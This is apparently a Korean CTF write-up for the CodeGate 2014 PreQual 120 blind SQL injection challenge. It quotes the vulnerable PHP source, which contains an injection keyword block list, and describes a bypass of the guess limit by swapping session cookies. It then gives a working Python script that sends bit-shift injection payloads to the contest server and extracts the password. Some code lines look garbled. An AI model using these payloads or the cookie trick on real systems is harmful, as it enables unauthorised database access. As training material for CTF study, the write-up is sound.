상세 컨텐츠

본문 제목

CodeGate 2014 PreQual 120 Write Up

0x10 정보보안/0x13 Write-Up

by sweetchip 2014. 2. 25. 09:45

본문

반응형




문제는 웹 문제이며 Blind Sql Injection 문제이다.


랜덤으로 30글자의 password를 설정하고 120번동안 password를 맞출 수 있는 기회가 있는데 그 기회를 모두 사용하면 password가 초기화 되어 또 랜덤 30글자가 만들어진다


또한 문제 부분에 sql injection 취약점이 있으며 쿼리를 잘 조정하면 password를 빼올 수 있었는데, 총 30글자에 120번의 기회면 1글자당 4번의 기회가 있는 것이다.


기존에 내가 사용하던 무작위 대입으론 별로 효과가 없을 것이고 bit shift를 이용한 풀이도 또한 7번의 기회가 있어야 하므로 충분하지 않다. [최소한 4번의 기회가 필요하다.]


고민고민 중에 새로운 문서를 찾아보기도 하고 등등 했는데 [write up을 다쓰고보니 time-based blind sql injection을 한 분도 꽤나 많은것 같다.]


별로 소용이 없어서 다른 방법을 찾아보기로 했다.


session_start();

$link = @mysql_connect('localhost', '', '');
@
mysql_select_db('', $link);

function
RandomString()
{
$filename = "smash.txt";
$f = fopen($filename, "r");
$len = filesize($filename);
$contents = fread($f, $len);
$randstring = '';
while(
strlen($randstring)<30 ){
$t = $contents[rand(0, $len-1)];
if(
ctype_lower($t)){
$randstring .= $t;
}
}
return
$randstring;
}

$max_times = 120;

if (
$_SESSION['cnt'] > $max_times){
unset(
$_SESSION['cnt']);
}

if ( !isset(
$_SESSION['cnt'])){
$_SESSION['cnt']=0;
$_SESSION['password']=RandomString();

$query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
@
mysql_query($query);

$query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
@
mysql_query($query);
}
$left_count = $max_times-$_SESSION['cnt'];
$_SESSION['cnt'] ;

if (
$_POST['password'] ){

if (
eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
@
mysql_close($link);
exit(
"Wrong access");
}

$query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
$q = @mysql_query($query);
$res = @mysql_fetch_array($q);
if(
$res['ip']==$_SERVER['REMOTE_ADDR']){
@
mysql_close($link);
exit(
"True");
}
else{
@
mysql_close($link);
exit(
"False");
}
}

@
mysql_close($link);
?>






times left









Auth





소스코드를 보니 아니나 다를까 ip와 session으로 서로 다른것을 체크하기 때문에 쿠키 값만 다르고 ip는 똑같다면 여러번의 기회를 만들 수 있다.


예를들어서 A 쿠키로 먼저 접속후 sql injection 쿼리를 날리고 , B 쿠키로 접속하면 다시 기회가 120번이 남아있는 것을 볼 수있다.


또 A쿠키로 접속해보면 (120 - sql injection시도 횟수) 만큼 기회가 남아 있을 것이다.


바로 blind sql injection 툴을 짯다.


#97 - 122

import httplib,urllib;

from urllib import urlopen

#password=0'<1) and (0<1) and(if(ascii(substr(password,1,2))<150, 1, 0)=1) or (1<'0

#password=0'<1) and (0<1) and((ascii(substr(password,1,2))>>6)>1) or (1<'0


headers = {"Content-type":"application/x-www-form-urlencoded","Cookie":"PHPSESSID=ztv6lne26k1tgf2q8803stn2ka5"}


host = "http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php"

result = ""

bit = ""

flag = 0

Truematch = "True"

sqlcmd = "select pass from member where id = 1"

total = 0


def change():

headers = {"Content-type":"application/x-www-form-urlencoded","Cookie":"PHPSESSID=1ztv6lne26k1tgf2q8803stn2ka5"}


def request(site,charpos,sqlcmd,match_str):

result = 3

for bitpos in range(4,-1,-1):

temp_match_str = Truematch

result *= 2

injection = "0'<1) and (0<1) and((ascii(substr(password,%d,1))>>%d)=%d) or (1<'0"%(charpos,bitpos,result)

params = urllib.urlencode({'password':injection})

print injection


conn=httplib.HTTPConnection("58.229.183.24:80")

conn.request("POST","/5a520b6b783866fd93f9dcdaf753af08/index.php",params,headers)


#conn=httplib.HTTPConnection("192.168.0.93:80")

#conn.request("POST","/codegate.php",params,headers)


if charpos == 20:

change()

print headers["Cookie"]

headers["Cookie"] = "PHPSESSID=1ztv6lne26k1tgf2q8803stn2ka5"

print "HEADER CHANGED"


response = conn.getresponse()

if temp_match_str in response.read():

result = 0

print "true 0 "

else:

result = 1

print "false 1"


return chr(result)

charpos = 1

while 1:

try:

result = request(host,charpos,sqlcmd,Truematch)

charpos = 1

print result

if len(result) == 30: break

except Exception:

print "%s => %s"%(sqlcmd,result)

break

raw_input("> ")


#Congrats! the key is DontHeartMeBaby*$#@!


방식은 20글자만큼 뽑아내면 헤더를 바꾸는 방식으로 진행했다. 그러면 먼저 사용한 쿠키엔 100번을 사용했고 나머지 쿠키는 아직 120번의 기회가 있으니 충분하다.


그리고 뽑아오는 방식은 bit shift 를 이용했고 paste bin 에 있는 기존 소스를 수정한 것이다.


Key : DontHeartMeBaby*$#@!

반응형

관련글 더보기